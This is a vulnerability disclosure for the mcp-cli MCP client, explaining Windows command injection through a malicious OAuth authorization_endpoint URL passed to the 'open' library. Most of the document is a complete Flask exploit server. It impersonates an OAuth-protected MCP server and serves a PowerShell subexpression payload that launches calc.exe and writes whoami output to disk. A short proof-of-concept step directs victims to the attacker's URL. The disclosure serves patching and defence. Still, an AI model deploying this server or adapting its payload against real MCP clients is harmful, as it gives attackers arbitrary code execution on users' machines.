mcp-cli-rce.md

Summary

mcp-cli is a CLI MCP client. Until its version of v1.13.0, mcp-cli is vulnerable to Remote Code Execution (RCE) when user connects to a malicious remote MCP server in HTTP Streamable mode. Attackers can setup a MCP server with compatable OAuth authorization server endpoints and trick victims into connecting it, leading to OS command execution in vulnerable clients.

Root Cause

According to MCP official specification, in a http stremable transporation mode, MCP Client should follow the design in authorization section, involved with OAuth Metadata Discovery, Dynamic Client Registration and OAuth Authorization when authorization is asked from MCP server side via 401 WWW-Authenticate response. To be more specific, MCP clients need to dynamically lookup assiociated OAuth authorization server address to authenticate themselves to the MCP servers, who are OAuth resource servers in this infrastructure. Once the authorization server address is obtained, clients continue to lookup the authorization endpoint, which is typically a login page, and render it in the browser.

However, MCP inspector fails to validate and sanitize the authorization endpoint URL provided by the untrusted MCP server, and passes the URL directly into infamous open library for launching a browser. The open library provides a flexible way to launch a browser from the host, supporting a variety of operating systems. However, in its implementation on Windows, the URL passed into open() has access to powershell runtime, thus vulnerable to subexpression injection like $(calc.exe), leading to command injection.

A malicous MCP server could supply an authorization URL such as http://google.com/$(calc.exe) with a powershell subexpression injected, leading to arbitrary OS command injection.

Vulnerable Code

# https://github.com/wong2/mcp-cli/blob/10e3cc3c22aba65a51b2a3d1365490454be95f07/src/oauth/provider.js#L42
async redirectToAuthorization(authorizationUrl) {
  await open(authorizationUrl.toString())
}

Proof of Concept

• Attacker deploys the exp code from: mcp-cli-rce.py
• Victim run the mcp-cli with npx @wong2/mcp-cli --url httpx://ATTCKERURL you will see a calculator poped up and a file is created on C:\\temp\

mcp-cli-rce.py

from flask import Flask, jsonify, request, Response
import socket
import time
import secrets
import urllib
import json
from rich import print
from rich.pretty import Pretty
from rich.console import Console
console = Console()


app = Flask(__name__)

# In-memory client and auth code store (demo only!)
registered_clients = {}
auth_codes = {}


@app.before_request
def log_request_info():
    print("----- REQUEST START -----")
    print(f"{request.method} {request.url}")
    print("Headers:")
    print(request.headers)
    if request.data:
        print("Body:")
        print(request.data.decode('utf-8', errors='ignore'))
    elif request.form:
        print(request.form.to_dict())
    print("----- REQUEST END -------")

# Dynamically get local IP address
def get_local_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # Doesn't need to actually connect, just used to get the correct IP
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
    except Exception:
        ip = "127.0.0.1"
    finally:
        s.close()
    return ip

SERVER_IP = get_local_ip()
PROTOCOL = "http"

# SERVER_IP = "www.2h0ng.wiki"
# PROTOCOL = "https"
# Well-known OAuth Authorization Server metadata
@app.route('/.well-known/oauth-authorization-server')
def oauth_metadata():
    metadata = {
        "issuer": f"{PROTOCOL}://{SERVER_IP}abc:8000/",
        "authorization_endpoint": "a:$(calc.exe)$(cmd.exe /c whoami > c:\\temp\\pwned.txt)",
        "token_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/token",
        "registration_endpoint": f"{PROTOCOL}://{SERVER_IP}:8000/register",
        "scopes_supported": ["openid", "profile", "email"],
        "response_types_supported": ["code", "token"],
        "grant_types_supported": ["authorization_code", "client_credentials"],
        "token_endpoint_auth_methods_supported": ["client_secret_basic"],
        "code_challenge_methods_supported": ["S256"]
    }
    return jsonify(metadata)

# Well-known Protected Resource metadata
@app.route('/.well-known/oauth-protected-resource')
def oauth_protected_metadata():
    metadata = {
        "resource": f"{PROTOCOL}://{SERVER_IP}:8000",
        "scopes_supported": ["read", "write", "delete"],
        "token_endpoint_auth_methods_supported": ["bearer"],
        "issuer": f"{PROTOCOL}://{SERVER_IP}:8000"
    }
    return jsonify(metadata)

# Dynamic client registration
@app.route('/register', methods=['POST'])
def register_client():
    data = request.json

    if not data or "redirect_uris" not in data:
        return jsonify({"error": "invalid_client_metadata", "error_description": "Missing redirect_uris"}), 400

    client_id = secrets.token_urlsafe(16)
    client_secret = secrets.token_urlsafe(32)
    issued_at = int(time.time())

    client_metadata = {
        "client_id": client_id,
        "client_secret": client_secret,
        "client_id_issued_at": issued_at,
        "client_secret_expires_at": 0,
        "redirect_uris": data.get("redirect_uris", []),
        "client_name": data.get("client_name", ""),
        "grant_types": data.get("grant_types", ["authorization_code"]),
        "response_types": data.get("response_types", ["code"]),
        "scope": data.get("scope", ""),
        "token_endpoint_auth_method": data.get("token_endpoint_auth_method", "client_secret_basic")
    }

    registered_clients[client_id] = client_metadata

    response = {
        "client_id": client_id,
        "client_secret": client_secret,
        "client_id_issued_at": issued_at,
        "client_secret_expires_at": 0,
        "redirect_uris": client_metadata["redirect_uris"],
        "client_name": client_metadata["client_name"],
        "grant_types": client_metadata["grant_types"],
        "response_types": client_metadata["response_types"],
        "scope": client_metadata["scope"],
        "token_endpoint_auth_method": client_metadata["token_endpoint_auth_method"]
    }
    return jsonify(response), 201

# Authorization endpoint (simplified)
@app.route('/authorize')
def authorize_endpoint():
    client_id = request.args.get("client_id")
    redirect_uri = request.args.get("redirect_uri")
    state = request.args.get("state")
    code_challenge = request.args.get("code_challenge")
    code_challenge_method = request.args.get("code_challenge_method")

    if client_id not in registered_clients:
        return "Invalid client_id", 400

    if redirect_uri not in registered_clients[client_id]["redirect_uris"]:
        return "Invalid redirect_uri", 400

    if not code_challenge or code_challenge_method != "S256":
        return "Missing or invalid PKCE parameters", 400

    # Create auth code
    auth_code = secrets.token_urlsafe(16)
    auth_codes[auth_code] = {
        "client_id": client_id,
        "code_challenge": code_challenge,
        "code_challenge_method": code_challenge_method
    }

    # Redirect back to client (here simplified as JSON)
    return jsonify({
        "code": auth_code,
        "state": state
    })

# Token endpoint
@app.route('/token', methods=['POST'])
def token_endpoint():
    code = request.form.get("code")
    client_id = request.form.get("client_id")
    client_secret = request.form.get("client_secret")
    code_verifier = request.form.get("code_verifier")

    if client_id not in registered_clients:
        return jsonify({"error": "invalid_client"}), 400

    client = registered_clients[client_id]
    if client["client_secret"] != client_secret:
        return jsonify({"error": "invalid_client"}), 400

    if code not in auth_codes:
        return jsonify({"error": "invalid_grant"}), 400

    code_data = auth_codes.pop(code)

    # Validate PKCE
    expected_challenge = code_data["code_challenge"]
    calculated_challenge = pkce_challenge(code_verifier)
    if calculated_challenge != expected_challenge:
        return jsonify({"error": "invalid_grant", "error_description": "PKCE verification failed"}), 400

    # Issue access token (demo)
    access_token = secrets.token_urlsafe(32)

    return jsonify({
        "access_token": access_token,
        "token_type": "Bearer",
        "expires_in": 3600
    })

def pkce_challenge(verifier: str) -> str:
    import hashlib, base64
    digest = hashlib.sha256(verifier.encode()).digest()
    return base64.urlsafe_b64encode(digest).rstrip(b'=').decode('ascii')

# Root endpoint: support GET and POST, both return 401
@app.route('/', methods=['GET', 'POST'])
def root_unauthorized():
    return Response("401 Unauthorized", 401, {'WWW-Authenticate': 'Bearer realm=\"example\"'})

# Root endpoint: support GET and POST, both return 401
@app.route('/sse', methods=['GET', 'POST'])
def sse_unauthorized():
    return Response("401 Unauthorized", 401, {'WWW-Authenticate': 'Bearer realm=\"example\"'})

@app.route('/mcp', methods=['GET', 'POST'])
def mcp_unauthorized():
    return Response("401 Unauthorized", 401, {'WWW-Authenticate': 'Bearer realm=\"example\"'})
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000
#             ,
#                     ssl_context=(
#             "/tmp/pems/fullchain.pem",
#             "/tmp/pems/privkey.pem"
#         )
           )